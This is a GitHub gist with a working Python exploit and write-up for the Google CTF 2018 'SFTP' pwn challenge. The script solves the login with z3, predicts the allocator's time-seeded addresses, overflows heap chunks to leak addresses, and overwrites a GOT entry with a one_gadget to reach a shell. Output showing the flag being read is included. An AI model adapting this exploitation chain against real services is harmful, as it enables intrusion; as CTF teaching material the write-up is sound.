Skip to content
Please note that GitHub no longer supports Internet Explorer.

We recommend upgrading to the latest Microsoft Edge, Google Chrome, or Firefox.

Learn more

Instantly share code, notes, and snippets.

@beched beched/sftp_exp.py
Last active Jun 28, 2018

Embed
What would you like to do?
Google CTF 2018 Quals: SFTP pwn task solution
import time
import sys
from collections import defaultdict
from ctypes import CDLL
from pwn import *
from z3 import *
s = Solver()
v4 = 0x5417
v5 = [BitVec('a_%s' % i, 64) for i in xrange(15)]
for v0 in v5:
v4 = 2 * (v0 ^ v4)
for i in xrange(len(v5)):
s.add(v5[i] > 32)
v5[i] != 0x0a
s.add(v5[i] < 128)
s.add(v4 & 0xffff == 0x8DFA)
s.check()
m = s.model()
passwd = ''.join(map(chr, [m[v5[i]].as_long() for i in xrange(15)]))
print '[*] Calculated the password: %s' % passwd
if len(sys.argv) > 1:
s = remote('sftp.ctfcompetition.com', 1337)
# ubuntu-xenial-amd64-libc6
fread_offset = 0x6e1a0
one_gadget = 0x4526a
else:
s = process('./sftp')
#server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:./sftp'])
#s = remote('localhost', 1234)
fread_offset = 0x6e040
one_gadget = 0x423f2#0x4239e
gdb.attach(s, 'b exit\nc\n')
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
print s.recv(4096)
s.send('yes\n')
print s.recv(4096)
s.send('%s\n' % passwd)
print s.recvuntil('sftp>')
# Leaking the home address
s.send('symlink /home/c01db33f %s\n' % ('a' * 20))
s.recvuntil('sftp>')
s.send('ls\n')
home_addr = u32(s.recvuntil('sftp>')[-10:-6])
print 'Found home addr:', hex(home_addr)
for seed in xrange(int(time.time()) - 10, int(time.time()) + 10):
libc.srand(seed)
if home_addr in [libc.rand() & 0x1FFFFFFF | 0x40000000 for _ in xrange(10)]:
print '[*] Found seed:', seed
break
def leaksource():
s.send('cd src\n')
s.recv(4096)
s.send('get sftp.c\n')
print s.recvuntil('service_main();')
print s.recv(4096)
s.send('mkdir %s\n' % ('a' * 4000))
s.interactive()
def find_alloc(adjust):
libc.srand(seed)
[libc.rand() for _ in xrange(adjust)] # adjusting mallocs
t = defaultdict(list)
for i in xrange(500):
t[libc.rand() & 0x1FFFFFFF | 0x40000000].append(i)
k = sorted(t.keys())
res = []
for i in xrange(len(k) - 1):
if k[i + 1] - k[i] < 14070: # actually can be greater, we can overflow with file data
alloc_1, alloc_2 = min(t[k[i + 1]]), max(t[k[i]])
if alloc_1 < alloc_2: # greater address should be allocatable earlier
#print '\tAddresses', k[i], k[i + 1]
#print '\tAllocations', alloc_1, alloc_2
res.append((alloc_2, alloc_1, k[i + 1], k[i])) # alloc_2 first for sorting
if not res:
print 'Allocs not found =('
quit()
res.sort()
best = res[0][1], res[0][0], res[0][3], res[0][2] # transpose after sort
print '[*] Optimal allocs:', best
return best
def alloc_mkdir(alloc, start=0):
for i in xrange(start, alloc):
s.send('mkdir hui%s\n' % i)
s.recvuntil('sftp>')
print '[*] Allocated %s' % alloc
def leak_addr(addr, addr_1, addr_2):
fake_eba = p64(0) # struct directory_entry* parent_directory;
fake_eba += p32(1) # enum entry_type type; # DIRECTORY_ENTRY = 0x1,
fake_eba += 'ebala'.ljust(20, '\x00') # char name[name_max];
fake_eba += p64(16) # size_t child_count;
fake_eba += p64(addr - 12) # to leak parent_directory of /home, it's root
s.send('cd ebala\n')
s.recvuntil('sftp>')
s.send('put pizdec\n')
payload_size = len(fake_eba) + addr_2 - addr_1
s.send('%s\n' % payload_size)
s.send(fake_eba.rjust(payload_size, 'a'))
s.recvuntil('sftp>')
print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1)
s.send('ls\n')
s.recv(4096)
hui = s.recvuntil('sftp> ')
return u64(hui[:-7].ljust(8, '\x00'))
def ebala():
s.send('mkdir ebala\n')
s.recvuntil('sftp>')
print '[*] Created dir ebala'
def heapover():
adjust = 7
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
ebala()
alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put
root_addr = leak_addr(home_addr, addr_1, addr_2)
print '[*] Leaked root addr:', hex(root_addr)
elf_base = root_addr - 0x208BE0
print '[*] Binary base:', hex(elf_base)
got_addr = elf_base + 0x205030
print '[*] .got.plt:', hex(got_addr)
ebala() # fresh start
s.send('cd ebala\n')
s.recvuntil('sftp>')
adjust += alloc_2 + 2 # extra alloc caused in ebala() above
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
ebala()
alloc_mkdir(alloc_2 - 2, alloc_1) # extra alloc caused by handle_put
fread_addr = leak_addr(got_addr, addr_1, addr_2)
print '[*] Leaked fread addr:', hex(fread_addr)
libc_base = fread_addr - fread_offset
one_shot = libc_base + one_gadget
#s.interactive()
# NOW W-W-W
ebala() # fresh start
s.send('cd ebala\n')
s.recvuntil('sftp>')
adjust += alloc_2 + 2 # extra alloc caused in ebala() above
alloc_1, alloc_2, addr_1, addr_2 = find_alloc(adjust)
alloc_mkdir(alloc_1)
# create file with length 8, we'll then overwrite its data ptr
s.send('put suka\n')
s.send('8\n')
s.send('aaaaaaaa\n')
s.recvuntil('sftp>')
alloc_mkdir(alloc_2 - 3, alloc_1) # extra alloc caused by handle_put
fake_eba = p64(0) # struct directory_entry* parent_directory;
fake_eba += p32(2) # enum entry_type type; # FILE_ENTRY = 0x2,
fake_eba += 'suka'.ljust(20, '\x00') # char name[name_max];
fake_eba += p64(8) # size_t size;
fake_eba += p64(elf_base + 0x205028) # where to write # char* data; # off_205028 dq offset puts
s.send('put pizdec\n')
payload_size = len(fake_eba) + addr_2 - addr_1
s.send('%s\n' % payload_size)
s.send(fake_eba.rjust(payload_size, 'a'))
s.recvuntil('sftp>')
print '[*] Created overflow: %s -> %s (%s)' % (hex(addr_1), hex(addr_2), addr_2 - addr_1)
s.send('put suka\n')
s.send('8\n')
s.send(p64(one_shot)) # what to write
# BOOOOOM
s.interactive()
heapover()
1) The binary implements SFTP-like service with virtual in-memory file system with encrypted pre-loaded content (fake flag and partial binary source code).
In order to log in, you should generate a password which satisfies a simple equation (which is solved by z3 in the exploit).
The binary also uses custom memory allocator with random addresses:
void sub_E70()
{
unsigned int v0; // eax@2
if ( mmap((void *)0x40000000, 0x200FFFFFuLL, 3, 50, -1, 0LL) != (void *)0x40000000 )
abort();
v0 = time(0LL);
srand(v0);
}
signed __int64 malloc()
{
return rand() & 0x1FFFFFFF | 0x40000000LL;
}
__int64 __fastcall realloc(__int64 a1)
{
return a1;
}
void free()
{
;
}
2) There's a buffer overflow in the new_entry function, where an entry path may contain up to 4096 bytes, but the name field in the entry struct is limited only to 20 bytes:
#define path_max 4096
#define name_max 20
#define file_max 65535
. . .
strcpy((*child)->name, name);
3) And also we can overflow the memory chunks by uploading the files.
To succeed, we need first to calculate the seed and find such allocation sequences, that there will be 2 chunks close enough to each other to make overwrite possible.
4) Run the exploit:
# python sftp_exp.py 1
[*] Calculated the password: !"$!@40000pp8p}
[+] Opening connection to sftp.ctfcompetition.com on port 1337: Done
The authenticity of host 'sftp.google.ctf (3.13.3.7)' can't be established.
ECDSA key fingerprint is SHA256:+d+dnKGLreinYcA8EogcgjSF3yhvEBL+6twxEc04ZPq.
Are you sure you want to continue connecting (yes/no)?
Warning: Permanently added 'sftp.google.ctf' (ECDSA) to the list of known hosts.
c01db33f@sftp.google.ctf's password: Connected to sftp.google.ctf.
sftp>
Found home addr: 0x59675604
[*] Found seed: 1529920472
[*] Optimal allocs: (16, 106, 1507230026, 1507233827)
[*] Allocated 16
[*] Created dir ebala
[*] Allocated 104
[*] Created overflow: 0x59d6814a -> 0x59d69023 (3801)
[*] Leaked root addr: 0x559e8d72abe0
[*] Binary base: 0x559e8d522000
[*] .got.plt: 0x559e8d727030
[*] Created dir ebala
[*] Optimal allocs: (111, 431, 1088429228, 1088431382)
[*] Allocated 111
[*] Created dir ebala
[*] Allocated 429
[*] Created overflow: 0x40e01cac -> 0x40e02516 (2154)
[*] Leaked fread addr: 0x7f45f89b71a0
[*] Created dir ebala
[*] Optimal allocs: (15, 265, 1348220783, 1348234344)
[*] Allocated 15
[*] Allocated 262
[*] Created overflow: 0x505c376f -> 0x505c6c68 (13561)
[*] Switching to interactive mode
sftp> sftp> $
$ cat /home/user/flag
CTF{Moar_Randomz_Moar_Mitigatez!}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.